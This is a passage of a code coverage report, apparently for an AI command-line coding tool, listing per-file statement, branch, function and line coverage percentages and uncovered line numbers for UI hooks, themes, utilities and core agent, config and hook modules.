  ...agerDialog.ts |   88.88 |      100 |     100 |   88.88 | 21,25             
  ...backDialog.ts |   57.89 |    71.42 |      50 |   57.89 | ...66-168,190-191 
  useFocus.ts      |     100 |      100 |     100 |     100 |                   
  ...olderTrust.ts |     100 |      100 |     100 |     100 |                   
  ...ggestions.tsx |   96.47 |    78.94 |     100 |   96.47 | 121,155-156       
  ...miniStream.ts |   83.52 |    80.09 |   94.73 |   83.52 | ...3259,3342-3350 
  ...BranchName.ts |     100 |    91.66 |     100 |     100 | 30                
  ...oryManager.ts |   97.94 |    98.24 |     100 |   97.94 | 139-142           
  ...ooksDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...stListener.ts |     100 |      100 |     100 |     100 |                   
  ...nAuthError.ts |   76.19 |       50 |     100 |   76.19 | 39-40,43-45       
  ...putHistory.ts |   92.59 |    85.71 |     100 |   92.59 | 63-64,72,94-96    
  ...storyStore.ts |     100 |    94.11 |     100 |     100 | 69                
  useKeypress.ts   |     100 |      100 |     100 |     100 |                   
  ...rdProtocol.ts |   36.36 |      100 |       0 |   36.36 | 24-31             
  ...unchEditor.ts |       0 |        0 |       0 |       0 | 1-90              
  ...gIndicator.ts |     100 |    96.66 |     100 |     100 | 109               
  useLogger.ts     |      16 |      100 |       0 |      16 | 15-45             
  useMCPHealth.ts  |   63.15 |       80 |      50 |   63.15 | 42-52,64-67       
  ...cpApproval.ts |   93.07 |    85.29 |     100 |   93.07 | ...23-126,138-139 
  useMcpDialog.ts  |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...moryDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...oryMonitor.ts |   83.14 |    78.57 |     100 |   83.14 | 54-63,74-79       
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...delCommand.ts |     100 |     92.3 |     100 |     100 | 40                
  ...ouseEvents.ts |   91.93 |       95 |      75 |   91.93 | 29-33             
  ...raseCycler.ts |   84.74 |    76.47 |     100 |   84.74 | ...49,52-53,69-71 
  ...rredEditor.ts |   58.33 |    22.22 |     100 |   58.33 | 23-27,29-33       
  ...derUpdates.ts |   86.95 |    77.41 |   91.66 |   86.95 | ...70,311-323,371 
  useQwenAuth.ts   |     100 |      100 |     100 |     100 |                   
  ...lScheduler.ts |   88.54 |    91.83 |     100 |   88.54 | ...73-278,381-391 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-7               
  ...tleRepaint.ts |     100 |      100 |     100 |     100 |                   
  ...umeCommand.ts |   93.47 |       68 |     100 |   93.47 | ...17,152,193-198 
  ...ompletion.tsx |   90.59 |    83.33 |     100 |   90.59 | ...01,104,137-140 
  ...ectionList.ts |   97.05 |    96.11 |     100 |   97.05 | ...90-191,245-248 
  ...sionPicker.ts |   92.87 |    90.35 |     100 |   92.87 | ...99-501,503-505 
  ...earchInput.ts |     100 |    97.29 |     100 |     100 | 82                
  ...ngsCommand.ts |   18.75 |      100 |       0 |   18.75 | 10-25             
  ...ellHistory.ts |   93.28 |    80.95 |     100 |   93.28 | ...96,153-154,164 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-73              
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...Completion.ts |   82.85 |    85.13 |   94.73 |   82.85 | ...78-680,688-724 
  ...tateAndRef.ts |     100 |      100 |     100 |     100 |                   
  ...tatsDialog.ts |     100 |      100 |     100 |     100 |                   
  useStatusLine.ts |    97.1 |       93 |     100 |    97.1 | ...70-374,475-482 
  ...eateDialog.ts |   88.23 |      100 |     100 |   88.23 | 14,18             
  ...mInProcess.ts |   27.35 |       80 |      25 |   27.35 | ...82-183,186-188 
  ...tification.ts |     100 |     87.5 |     100 |     100 | 50                
  ...alProgress.ts |   53.06 |       50 |   66.66 |   53.06 | ...53,61-68,79-85 
  ...rminalSize.ts |   76.19 |      100 |      50 |   76.19 | 21-25             
  ...emeCommand.ts |   67.01 |    29.41 |     100 |   67.01 | ...10-111,115-116 
  useTimer.ts      |   97.59 |    94.73 |     100 |   97.59 | 17-18             
  ...lMigration.ts |       0 |        0 |       0 |       0 |                   
  ...rustModify.ts |     100 |      100 |     100 |     100 |                   
  useTurnDiffs.ts  |   95.12 |    78.57 |     100 |   95.12 | 133-134,156-157   
  ...elcomeBack.ts |   87.36 |     90.9 |     100 |   87.36 | ...,94-96,114-115 
  ...reeSession.ts |   93.75 |       70 |     100 |   93.75 | 47-48,72          
  vim.ts           |      74 |    67.56 |   69.23 |      74 | ...1854-1861,1869 
 src/ui/layouts    |    90.9 |    90.62 |     100 |    90.9 |                   
  ...AppLayout.tsx |   90.72 |       90 |     100 |   90.72 | 57-59,101-106     
  ...AppLayout.tsx |   91.17 |    91.66 |     100 |   91.17 | 70-75             
 src/ui/models     |   80.24 |    79.16 |   71.42 |   80.24 |                   
  ...ableModels.ts |   80.24 |    79.16 |   71.42 |   80.24 | ...,61-71,123-125 
 ...noninteractive |     100 |      100 |    6.66 |     100 |                   
  ...eractiveUi.ts |     100 |      100 |    6.66 |     100 |                   
 src/ui/state      |   94.91 |    81.81 |     100 |   94.91 |                   
  extensions.ts    |   94.91 |    81.81 |     100 |   94.91 | 68-69,88          
 src/ui/themes     |    98.5 |    73.06 |     100 |    98.5 |                   
  ansi-light.ts    |     100 |      100 |     100 |     100 |                   
  ansi.ts          |     100 |      100 |     100 |     100 |                   
  atom-one-dark.ts |     100 |      100 |     100 |     100 |                   
  ayu-light.ts     |     100 |      100 |     100 |     100 |                   
  ayu.ts           |     100 |      100 |     100 |     100 |                   
  color-utils.ts   |   99.23 |    97.05 |     100 |   99.23 | 277-278           
  default-light.ts |     100 |      100 |     100 |     100 |                   
  default.ts       |     100 |      100 |     100 |     100 |                   
  ...inal-theme.ts |   88.59 |    85.96 |     100 |   88.59 | ...57-261,266-270 
  dracula.ts       |     100 |      100 |     100 |     100 |                   
  github-dark.ts   |     100 |      100 |     100 |     100 |                   
  github-light.ts  |     100 |      100 |     100 |     100 |                   
  googlecode.ts    |     100 |      100 |     100 |     100 |                   
  no-color.ts      |     100 |      100 |     100 |     100 |                   
  qwen-dark.ts     |     100 |      100 |     100 |     100 |                   
  qwen-light.ts    |     100 |      100 |     100 |     100 |                   
  ...tic-tokens.ts |     100 |      100 |     100 |     100 |                   
  ...-of-purple.ts |     100 |      100 |     100 |     100 |                   
  theme-manager.ts |   88.68 |    84.33 |     100 |   88.68 | ...83-392,397-398 
  theme.ts         |     100 |    38.02 |     100 |     100 | ...34-449,457-461 
  xcode.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/utils      |   83.85 |    83.37 |   93.44 |   83.85 |                   
  ...Colorizer.tsx |   80.42 |    85.41 |     100 |   80.42 | ...00-201,298-324 
  ...nRenderer.tsx |   68.83 |    70.14 |      50 |   68.83 | ...52-254,274-293 
  ...wnDisplay.tsx |   86.01 |    87.66 |     100 |   86.01 | ...87,704,729-754 
  ...idDiagram.tsx |   87.79 |    95.34 |     100 |   87.79 | 156-179           
  ...eRenderer.tsx |   92.08 |    80.45 |      95 |   92.08 | ...76-679,723-728 
  ...odeDisplay.ts |   96.55 |     90.9 |     100 |   96.55 | 34                
  asciiCharts.ts   |   96.77 |    87.62 |     100 |   96.77 | 173-180,281       
  ...dWorkUtils.ts |     100 |      100 |     100 |     100 |                   
  ...boardUtils.ts |   51.92 |    72.72 |   91.66 |   51.92 | ...21,624-633,636 
  commandUtils.ts  |    96.1 |    88.77 |     100 |    96.1 | ...73,175-176,320 
  computeStats.ts  |     100 |      100 |     100 |     100 |                   
  customBanner.ts  |   90.68 |    91.22 |     100 |   90.68 | ...13,324-327,334 
  displayUtils.ts  |   90.38 |    73.91 |     100 |   90.38 | 23,25,29,31,33    
  formatters.ts    |    95.4 |    98.43 |     100 |    95.4 | 123-126           
  gradientUtils.ts |     100 |      100 |     100 |     100 |                   
  highlight.ts     |     100 |      100 |     100 |     100 |                   
  ...oryMapping.ts |     100 |    96.77 |     100 |     100 | 43                
  historyUtils.ts  |    95.6 |    95.16 |     100 |    95.6 | 96-99             
  isNarrowWidth.ts |     100 |      100 |     100 |     100 |                   
  ...olDetector.ts |    8.23 |      100 |       0 |    8.23 | ...31-132,135-136 
  latexRenderer.ts |   94.95 |     73.8 |     100 |   94.95 | ...76-178,184-187 
  layoutUtils.ts   |     100 |      100 |     100 |     100 |                   
  ...ightLoader.ts |     100 |       95 |     100 |     100 | 81                
  ...nUtilities.ts |   90.21 |    85.71 |     100 |   90.21 | ...,91-95,107-108 
  ...t-position.ts |     100 |      100 |     100 |     100 |                   
  ...ToolGroups.ts |   98.65 |    96.72 |     100 |   98.65 | 48-49             
  ...geRenderer.ts |   86.23 |    69.06 |   95.12 |   86.23 | ...1284,1324-1330 
  ...alRenderer.ts |   86.69 |     71.9 |     100 |   86.69 | ...1476,1513-1519 
  ...lsBySource.ts |     100 |    95.23 |     100 |     100 | 84                
  mouse.ts         |   92.14 |    73.77 |     100 |   92.14 | ...29,136,140-143 
  osc8.ts          |   94.84 |    88.74 |     100 |   94.84 | ...57,442,446-447 
  ...mConstants.ts |     100 |      100 |     100 |     100 |                   
  restoreGoal.ts   |   99.02 |    97.56 |     100 |   99.02 | 106               
  ...storyUtils.ts |   66.99 |    75.96 |   93.33 |   66.99 | ...41-463,584-585 
  ...ickerUtils.ts |     100 |      100 |     100 |     100 |                   
  ...are-cursor.ts |   89.47 |    85.71 |     100 |   89.47 | 39-44             
  ...ataService.ts |   93.17 |     79.1 |     100 |   93.17 | ...14,227,254-256 
  ...izedOutput.ts |   94.94 |      100 |   88.88 |   94.94 | 112-117           
  ...wOptimizer.ts |     100 |    96.77 |     100 |     100 | 69                
  terminalSetup.ts |    4.37 |      100 |       0 |    4.37 | 44-393            
  textUtils.ts     |   97.61 |    94.89 |   92.85 |   97.61 | ...50-251,386-387 
  ...background.ts |     100 |      100 |     100 |     100 |                   
  todoSnapshot.ts  |   89.33 |    93.47 |     100 |   89.33 | ...,66-78,180-181 
  updateCheck.ts   |     100 |    80.95 |     100 |     100 | 30-42             
  ...ow-keyword.ts |     100 |      100 |     100 |     100 |                   
 ...i/utils/export |      57 |     40.8 |   79.41 |      57 |                   
  collect.ts       |   55.92 |    50.58 |   86.36 |   55.92 | ...25-640,642-647 
  index.ts         |     100 |      100 |     100 |     100 |                   
  normalize.ts     |   58.11 |    20.51 |      80 |   58.11 | ...13-314,328-363 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
  utils.ts         |      40 |      100 |       0 |      40 | 11-13             
 ...ort/formatters |    3.38 |      100 |       0 |    3.38 |                   
  html.ts          |    9.61 |      100 |       0 |    9.61 | ...28,34-76,82-84 
  json.ts          |      50 |      100 |       0 |      50 | 14-15             
  jsonl.ts         |     3.5 |      100 |       0 |     3.5 | 14-76             
  markdown.ts      |    0.94 |      100 |       0 |    0.94 | 13-295            
 src/ui/voice      |   81.12 |    72.76 |    79.1 |   81.12 |                   
  ...d-recorder.ts |     6.2 |        0 |       0 |     6.2 | ...33-159,162-163 
  ...o-recorder.ts |   84.61 |    93.33 |   57.14 |   84.61 | ...16-117,131-136 
  ...me-session.ts |   91.14 |     64.7 |   92.85 |   91.14 | ...76,282,292-295 
  sox-recorder.ts  |    92.7 |    71.87 |     100 |    92.7 | ...34-135,153-154 
  ...ailability.ts |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |     100 |      100 |     100 |     100 |                   
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  ...e-recorder.ts |   88.29 |    67.74 |   81.81 |   88.29 | ...,98-99,112,115 
  voice-refine.ts  |     100 |    93.33 |     100 |     100 | 92                
  ...ream-retry.ts |     100 |    88.88 |     100 |     100 | 18                
  ...am-session.ts |   87.45 |    63.33 |   81.81 |   87.45 | ...03,320-322,339 
  ...ranscriber.ts |     100 |      100 |     100 |     100 |                   
 src/utils         |   73.85 |     89.3 |   91.11 |   73.85 |                   
  acpModelUtils.ts |   94.44 |     92.3 |     100 |   94.44 | 44,68-69,73-74    
  apiPreconnect.ts |   96.72 |    97.14 |     100 |   96.72 | 165-168           
  checks.ts        |   33.33 |      100 |       0 |   33.33 | 23-28             
  cleanup.ts       |   82.53 |    93.33 |      80 |   82.53 | 74,105-115        
  commands.ts      |     100 |      100 |     100 |     100 |                   
  commentJson.ts   |   90.51 |    91.89 |     100 |   90.51 | 67-76,116         
  ...Calculator.ts |     100 |      100 |     100 |     100 |                   
  cpuProfiler.ts   |   70.73 |    73.23 |   88.88 |   70.73 | ...27,430-431,438 
  deepMerge.ts     |     100 |       90 |     100 |     100 | 41-43,49          
  ...ScopeUtils.ts |   97.56 |    88.88 |     100 |   97.56 | 67                
  doctorChecks.ts  |   70.31 |    74.57 |     100 |   70.31 | ...95-301,325-341 
  ...putCapture.ts |   90.65 |    86.17 |     100 |   90.65 | ...72,370,372-373 
  ...arResolver.ts |   97.14 |    96.55 |     100 |   97.14 | 125-126           
  errors.ts        |   90.85 |    96.36 |    92.3 |   90.85 | 69-70,298-310     
  events.ts        |     100 |      100 |     100 |     100 |                   
  gitUtils.ts      |    92.7 |    84.09 |     100 |    92.7 | ...07-110,158-161 
  ...AutoUpdate.ts |    92.2 |    95.23 |   88.88 |    92.2 | 130-141           
  ...tyWarnings.ts |     100 |      100 |     100 |     100 |                   
  ...lationInfo.ts |   97.71 |    94.18 |     100 |   97.71 | ...57,274-275,320 
  languageUtils.ts |   98.47 |    97.67 |     100 |   98.47 | 153-154           
  math.ts          |       0 |        0 |       0 |       0 | 1-15              
  ...iagnostics.ts |   94.57 |    83.01 |   88.88 |   94.57 | ...05,311,315-317 
  ...serMessage.ts |     100 |      100 |     100 |     100 |                   
  ...onfigUtils.ts |   96.04 |     94.4 |     100 |   96.04 | ...7-78,83-84,324 
  ...iveHelpers.ts |   95.33 |    92.08 |     100 |   95.33 | ...51-452,550,563 
  osc.ts           |    97.5 |      100 |   88.88 |    97.5 | 195-196           
  package.ts       |   88.88 |       80 |     100 |   88.88 | 31-32             
  processUtils.ts  |     100 |      100 |     100 |     100 |                   
  readStdin.ts     |   93.67 |    94.11 |   85.71 |   93.67 | 79-83             
  relaunch.ts      |   93.22 |    81.25 |     100 |   93.22 | 65-67,80          
  resolvePath.ts   |     100 |      100 |     100 |     100 |                   
  runBudget.ts     |   99.35 |    96.77 |     100 |   99.35 | 119               
  sandbox-path.ts  |     100 |      100 |     100 |     100 |                   
  sandbox.ts       |       0 |        0 |       0 |       0 | 1-1042            
  ...xImageName.ts |     100 |    77.77 |     100 |     100 | 10,18             
  sandboxMounts.ts |     100 |      100 |     100 |     100 |                   
  sessionPaths.ts  |   90.84 |    90.56 |     100 |   90.84 | ...81-182,185-186 
  settingsUtils.ts |   82.03 |    88.88 |      90 |   82.03 | ...11-729,736-744 
  spawnWrapper.ts  |     100 |      100 |     100 |     100 |                   
  ...ate-verify.ts |     100 |      100 |     100 |     100 |                   
  ...one-update.ts |   27.55 |    76.11 |   45.83 |   27.55 | ...44-845,848-867 
  ...upProfiler.ts |   98.47 |    94.66 |     100 |   98.47 | 132-133,308       
  ...upWarnings.ts |     100 |      100 |     100 |     100 |                   
  stdioHelpers.ts  |     100 |       60 |     100 |     100 | 23,32             
  systemInfo.ts    |   95.12 |    89.06 |     100 |   95.12 | ...43-244,249-253 
  ...InfoFields.ts |    87.5 |    65.85 |     100 |    87.5 | ...24-125,146-147 
  ...alSequence.ts |     100 |    97.61 |     100 |     100 | 60                
  ...iffPreview.ts |   94.11 |    83.33 |     100 |   94.11 | 13                
  ...entEmitter.ts |     100 |      100 |     100 |     100 |                   
  ...ansionHook.ts |     100 |      100 |     100 |     100 |                   
  ...upWarnings.ts |   87.75 |       75 |     100 |   87.75 | 47-48,53-54,57-58 
  version.ts       |     100 |       50 |     100 |     100 | 11                
  ...ingHandler.ts |     100 |      100 |     100 |     100 |                   
  windowTitle.ts   |   95.45 |    93.33 |     100 |   95.45 | 54-55             
  ...WithBackup.ts |   65.04 |    77.77 |     100 |   65.04 | 97,112,133-172    
 ...s/housekeeping |   91.63 |    91.02 |      95 |   91.63 |                   
  cleanup.ts       |   95.77 |    95.83 |     100 |   95.77 | 70-72             
  ...eractionAt.ts |     100 |      100 |     100 |     100 |                   
  scheduler.ts     |   91.91 |    90.47 |    87.5 |   91.91 | 58-62,73,131-135  
  throttledOnce.ts |   86.66 |     86.2 |     100 |   86.66 | ...99,105,137-138 
-------------------|---------|----------|---------|---------|-------------------
Core Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   84.39 |    84.68 |   85.62 |   84.39 |                   
 src               |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/__mocks__/fs  |       0 |        0 |       0 |       0 |                   
  promises.ts      |       0 |        0 |       0 |       0 | 1-48              
 src/agents        |   89.66 |    81.31 |   94.65 |   89.66 |                   
  ...transcript.ts |    92.3 |    85.93 |     100 |    92.3 | ...06,325-326,457 
  ...ent-resume.ts |   83.34 |    71.42 |   79.41 |   83.34 | ...1261-1265,1268 
  ...ound-tasks.ts |   96.83 |    89.13 |     100 |   96.83 | ...1171,1191-1194 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...n-registry.ts |   95.65 |    89.28 |     100 |   95.65 | ...12-413,485-489 
  ...w-snapshot.ts |   91.86 |       75 |     100 |   91.86 | ...54,178,185-187 
 src/agents/arena  |   75.91 |    66.34 |   78.72 |   75.91 |                   
  ...gentClient.ts |   79.47 |    88.88 |   81.81 |   79.47 | ...68-183,189-204 
  ArenaManager.ts  |   74.58 |    62.65 |   78.26 |   74.58 | ...1860,1866-1867 
  arena-events.ts  |   64.44 |      100 |      50 |   64.44 | ...71-175,178-183 
  diff-summary.ts  |    87.5 |    72.34 |     100 |    87.5 | ...32-133,137-138 
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...gents/backends |   76.47 |    86.27 |   73.75 |   76.47 |                   
  ITermBackend.ts  |   97.97 |    93.93 |     100 |   97.97 | ...78-180,255,307 
  ...essBackend.ts |   92.06 |    91.04 |      90 |   92.06 | ...95,250-270,329 
  TmuxBackend.ts   |    90.7 |    76.55 |   97.36 |    90.7 | ...87,697,743-747 
  detect.ts        |   31.25 |      100 |       0 |   31.25 | 34-88             
  index.ts         |     100 |      100 |     100 |     100 |                   
  iterm-it2.ts     |     100 |     92.1 |     100 |     100 | 37-38,106         
  tmux-commands.ts |    6.64 |      100 |    3.03 |    6.64 | ...93-363,386-503 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...agents/runtime |   88.03 |    84.92 |   82.21 |   88.03 |                   
  agent-context.ts |     100 |      100 |     100 |     100 |                   
  agent-core.ts    |    79.2 |    74.69 |   65.95 |    79.2 | ...1834,1861-1908 
  agent-events.ts  |     100 |      100 |     100 |     100 |                   
  ...t-headless.ts |   87.93 |    79.06 |   63.63 |   87.93 | ...00-401,404-405 
  ...nteractive.ts |   79.52 |       80 |   74.07 |   79.52 | ...83,485-488,491 
  ...statistics.ts |   98.19 |    82.35 |     100 |   98.19 | 127,151,192,225   
  agent-types.ts   |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...low-budget.ts |     100 |      100 |     100 |     100 |                   
  ...ow-journal.ts |   91.76 |    75.86 |     100 |   91.76 | ...38-139,179-181 
  ...chestrator.ts |   91.57 |    87.64 |   82.35 |   91.57 | ...1739,1788-1791 
  ...ow-prompts.ts |     100 |      100 |     100 |     100 |                   
  ...ow-sandbox.ts |   96.87 |    94.51 |     100 |   96.87 | ...24-325,330-331 
  ...flow-saved.ts |   96.51 |    94.36 |     100 |   96.51 | 134-135,234-237   
  ...flow-stall.ts |    97.9 |    83.33 |     100 |    97.9 | 138-139,236       
 src/agents/tasks  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/agents/team   |   80.31 |    83.19 |    86.5 |   80.31 |                   
  TeamManager.ts   |   67.11 |    76.25 |   74.41 |   67.11 | ...1433,1456-1457 
  identity.ts      |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...sionBridge.ts |     100 |      100 |     100 |     100 |                   
  mailbox.ts       |   94.76 |    86.36 |   92.85 |   94.76 | 86-87,348-354     
  ...ptAddendum.ts |     100 |      100 |     100 |     100 |                   
  tasks.ts         |   88.85 |    82.47 |   96.29 |   88.85 | ...-990,1034-1035 
  team-events.ts   |   60.52 |      100 |      50 |   60.52 | ...37-141,148-152 
  teamHelpers.ts   |   92.02 |    94.91 |   95.23 |   92.02 | ...31-332,368-378 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...eam/test-utils |   94.39 |    93.38 |   98.21 |   94.39 |                   
  ...on-harness.ts |   96.49 |    77.77 |     100 |   96.49 | 128-129,141-142   
  fake-agent.ts    |   98.49 |    95.08 |     100 |   98.49 | 201-203           
  fake-backend.ts  |   86.46 |    97.61 |   95.83 |   86.46 | 124-146           
 src/config        |   80.41 |    85.06 |   67.96 |   80.41 |                   
  ...xtDefaults.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |   79.06 |     84.4 |   64.63 |   79.06 | ...5874,5879-5880 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  models.ts        |     100 |      100 |     100 |     100 |                   
  storage.ts       |   94.63 |    91.86 |   89.58 |   94.63 | ...15-416,419-420 
 ...nfirmation-bus |   98.29 |    97.14 |     100 |   98.29 |                   
  message-bus.ts   |   98.14 |    97.05 |     100 |   98.14 | 42-43             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/core          |   88.96 |    84.48 |   92.01 |   88.96 |                   
  baseLlmClient.ts |   86.12 |    79.09 |   77.77 |   86.12 | ...91,601,649-651 
  client.ts        |   87.84 |    81.41 |   90.32 |   87.84 | ...2672,2767-2768 
  ...tGenerator.ts |   88.07 |       75 |     100 |   88.07 | ...79-383,391-395 
  ...lScheduler.ts |   88.16 |     82.7 |   95.06 |   88.16 | ...4310,4338-4349 
  geminiChat.ts    |    89.1 |    87.26 |   95.06 |    89.1 | ...3282,3349-3350 
  geminiRequest.ts |     100 |      100 |     100 |     100 |                   
  ...MediaLimit.ts |     100 |    95.83 |     100 |     100 | 96                
  ...htProtocol.ts |    9.09 |      100 |       0 |    9.09 | ...9,62-66,69-110 
  logger.ts        |   87.41 |    87.02 |     100 |   87.41 | ...64-568,614-628 
  ...tyDefaults.ts |     100 |      100 |     100 |     100 |                   
  ...olExecutor.ts |   92.59 |       75 |      50 |   92.59 | 41-42             
  ...on-helpers.ts |   86.72 |    73.68 |     100 |   86.72 | ...00-201,215-224 
  ...issionFlow.ts |   98.78 |       96 |     100 |   98.78 | 93                
  prompts.ts       |   88.93 |    87.87 |   72.72 |   88.93 | ...-910,1113-1114 
  ...port-retry.ts |     100 |      100 |     100 |     100 |                   
  tokenLimits.ts   |     100 |    89.28 |     100 |     100 | 25,60-61          
  ...allIdUtils.ts |   98.23 |     92.1 |     100 |   98.23 | 36,45             
  ...okTriggers.ts |   99.43 |    91.58 |     100 |   99.43 | 175,186           
  ...terruption.ts |     100 |       92 |     100 |     100 | 86,104            
  turn.ts          |   97.22 |    88.88 |     100 |   97.22 | ...96,509-510,556 
 ...ntentGenerator |   95.12 |    82.79 |   94.11 |   95.12 |                   
  ...tGenerator.ts |   96.69 |    84.48 |    93.1 |   96.69 | ...1004,1032-1034 
  converter.ts     |   94.51 |    80.72 |     100 |   94.51 | ...06-607,617,823 
  index.ts         |       0 |        0 |       0 |       0 | 1-21              
  usage.ts         |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   91.53 |    71.64 |   93.33 |   91.53 |                   
  ...tGenerator.ts |      90 |    70.96 |   92.85 |      90 | ...80-286,304-305 
  index.ts         |     100 |       80 |     100 |     100 | 50                
 ...ntentGenerator |   94.61 |    84.69 |    92.1 |   94.61 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tGenerator.ts |   94.51 |    83.39 |   91.66 |   94.51 | ...1113-1114,1142 
  ...tDetection.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   88.63 |    85.05 |   93.97 |   88.63 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  converter.ts     |    87.7 |    82.36 |   96.15 |    87.7 | ...1508,1677-1692 
  errorHandler.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |   58.33 |    71.42 |      50 |   58.33 | ...70,73-77,85-89 
  ...tGenerator.ts |    66.4 |    70.58 |   88.88 |    66.4 | ...51-157,168-169 
  pipeline.ts      |   95.51 |     88.6 |     100 |   95.51 | ...07-708,716,784 
  ...ureContext.ts |     100 |      100 |     100 |     100 |                   
  ...ingOptions.ts |       0 |        0 |       0 |       0 | 1                 
  ...CallParser.ts |    90.2 |    87.65 |     100 |    90.2 | ...39-343,373-374 
  ...kingParser.ts |     100 |    96.87 |     100 |     100 | 42                
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...rator/provider |    97.1 |    90.49 |   96.07 |    97.1 |                   
  dashscope.ts     |   97.78 |     92.3 |   94.44 |   97.78 | ...13-314,456-457 
  deepseek.ts      |   94.91 |    89.36 |     100 |   94.91 | ...31-132,145-146 
  default.ts       |    97.5 |    96.55 |   88.88 |    97.5 | 122-123,193       
  index.ts         |     100 |      100 |     100 |     100 |                   
  mimo.ts          |   94.11 |    66.66 |     100 |   94.11 | 29,52-53          
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  mistral.ts       |   96.07 |    73.33 |     100 |   96.07 | 32-33             
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 |                   
  utils.ts         |     100 |      100 |     100 |     100 |                   
 src/extension     |   77.79 |    79.94 |   84.61 |   77.79 |                   
  ...-converter.ts |   78.29 |    70.87 |     100 |   78.29 | ...1108,1153-1154 
  corruptFile.ts   |     100 |       50 |     100 |     100 | 40-45             
  ...-converter.ts |    73.8 |       75 |     100 |    73.8 | 44-54             
  ...ionManager.ts |   60.68 |    71.81 |   55.17 |   60.68 | ...1613,1638-1639 
  ...references.ts |     100 |    89.58 |     100 |     100 | ...05,129,197,200 
  ...onSettings.ts |   92.65 |    91.89 |     100 |   92.65 | ...28-232,312-313 
  ...-converter.ts |    75.9 |    83.33 |   85.71 |    75.9 | ...98,202,214-248 
  github.ts        |   84.71 |     85.4 |     100 |   84.71 | ...61-662,670-671 
  http-client.ts   |   84.61 |       80 |     100 |   84.61 | 20-21             
  i18n.ts          |   78.26 |    95.83 |      50 |   78.26 | 104-110,116-123   
  index.ts         |     100 |      100 |     100 |     100 |                   
  marketplace.ts   |   87.11 |    84.28 |     100 |   87.11 | ...44,348-354,429 
  npm.ts           |   74.67 |    71.64 |     100 |   74.67 | ...19-421,428-432 
  override.ts      |   94.11 |    88.88 |     100 |   94.11 | 63-64,81-82       
  redaction.ts     |     100 |      100 |     100 |     100 |                   
  settings.ts      |   66.26 |      100 |      50 |   66.26 | 81-107,141-146    
  ...ceRegistry.ts |   93.96 |    83.14 |     100 |   93.96 | ...35-341,362-363 
  storage.ts       |     100 |      100 |     100 |     100 |                   
  ...ableSchema.ts |     100 |      100 |     100 |     100 |                   
  variables.ts     |   88.75 |    83.33 |     100 |   88.75 | ...28-231,234-237 
 src/followup      |   76.02 |    74.12 |   90.62 |   76.02 |                   
  followupState.ts |   98.44 |    95.74 |     100 |   98.44 | 236-237           
  index.ts         |     100 |      100 |     100 |     100 |                   
  overlayFs.ts     |   96.29 |    88.88 |     100 |   96.29 | 78,108,122        
  speculation.ts   |   63.01 |    40.29 |   71.42 |   63.01 | ...73-574,577-582 
  ...onToolGate.ts |     100 |    96.55 |     100 |     100 | 95                
  ...nGenerator.ts |   67.96 |    77.58 |      80 |   67.96 | ...67-218,297-299 
 src/generated     |       0 |        0 |       0 |       0 |                   
  git-commit.ts    |       0 |        0 |       0 |       0 | 1-10              
 src/goals         |   89.57 |    83.57 |   94.44 |   89.57 |                   
  ...eGoalStore.ts |    85.1 |    95.45 |   84.61 |    85.1 | ...63-166,174-182 
  goalHook.ts      |   97.26 |    91.66 |     100 |   97.26 | 100-105           
  goalJudge.ts     |   84.33 |    74.28 |     100 |   84.33 | ...57-358,366-368 
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/hooks         |   87.01 |    85.68 |    88.1 |   87.01 |                   
  ...okRegistry.ts |   86.48 |    77.08 |     100 |   86.48 | ...41-344,362-369 
  ...bortSignal.ts |     100 |      100 |     100 |     100 |                   
  context-usage.ts |     100 |      100 |     100 |     100 |                   
  ...terpolator.ts |   96.66 |    93.33 |     100 |   96.66 | 66-67             
  ...HookRunner.ts |   96.68 |    87.23 |     100 |   96.68 | 110-112,231-233   
  ...Aggregator.ts |   96.35 |    90.69 |     100 |   96.35 | ...00-301,382,384 
  ...entHandler.ts |   95.34 |    85.05 |   94.11 |   95.34 | ...74,931-932,942 
  hookPlanner.ts   |   86.29 |    83.33 |   85.71 |   86.29 | ...15-219,226-237 
  hookRegistry.ts  |   91.48 |    84.61 |     100 |   91.48 | ...97,416,420,424 
  hookRunner.ts    |   62.42 |    72.04 |   66.66 |   62.42 | ...64-765,774-775 
  hookSystem.ts    |   87.05 |      100 |   68.88 |   87.05 | ...21-722,728-729 
  ...HookRunner.ts |   75.51 |     61.9 |      80 |   75.51 | ...05-406,424-425 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...edCallback.ts |     100 |      100 |     100 |     100 |                   
  ...HookRunner.ts |   96.37 |     90.9 |      90 |   96.37 | 342-350,424-425   
